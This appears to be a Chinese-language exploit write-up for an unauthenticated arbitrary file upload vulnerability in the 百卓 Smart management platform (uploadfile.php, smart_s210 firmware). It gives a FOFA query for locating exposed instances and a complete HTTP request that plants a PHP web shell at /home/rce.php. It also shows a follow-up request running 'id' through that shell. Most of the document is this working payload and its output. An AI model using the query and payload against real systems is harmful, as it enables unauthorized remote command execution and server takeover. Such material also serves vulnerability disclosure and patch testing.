B5-1百卓-Smart管理平台-文件上传

漏洞描述：

百卓Smart管理平台 uploadfile.php 接口存在任意文件上传漏洞。未经身份验证的攻击者可以利用此漏洞上传恶意后门文件，执行任意指令，从而获得服务器权限并操纵服务器文件。

影响版本：

smart_s210 smart_s210_firmware

网站图片：

网络测绘：

fofa语法：

FOFA：title="Smart管理平台"

漏洞复现：

payload:

```
POST /Tool/uploadfile.php? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Upgrade-Insecure-Requests: 1
Connection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="1.php"
Content-Type: application/octet-stream

<?php system($_GET["c"]);?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/rce.php
-----------------------------13979701222747646634037182887--
```

效果图:

验证

Request

数据包扫描 热加载 构造请求

```
1  GET /home/rce.php?c=id HTTP/1.1
2  Host: ▮▮▮▮▮▮▮▮
```

Responses https 30bytes / 35ms

```
1   HTTP/1.1 200 OK
2   Date: Wed, 07 Feb 2024 02:40:06 GMT
3   Server: Apache/2.2.4 (Unix) PHP/4.4.6 mod_
4   X-Powered-By: PHP/4.4.6
5   Set-Cookie: PHPSESSID=10ea90249ca3b0af4f2
6   Expires: Thu, 19 Nov 1981 08:52:00 GMT
7   Cache-Control: no-store, no-cache, must-r
8   Pragma: no-cache
9   Content-Type: text/html; charset=gb2312
10  Content-Length: 30
11
12  uid=99(nobody) gid=99(nobody)
13
```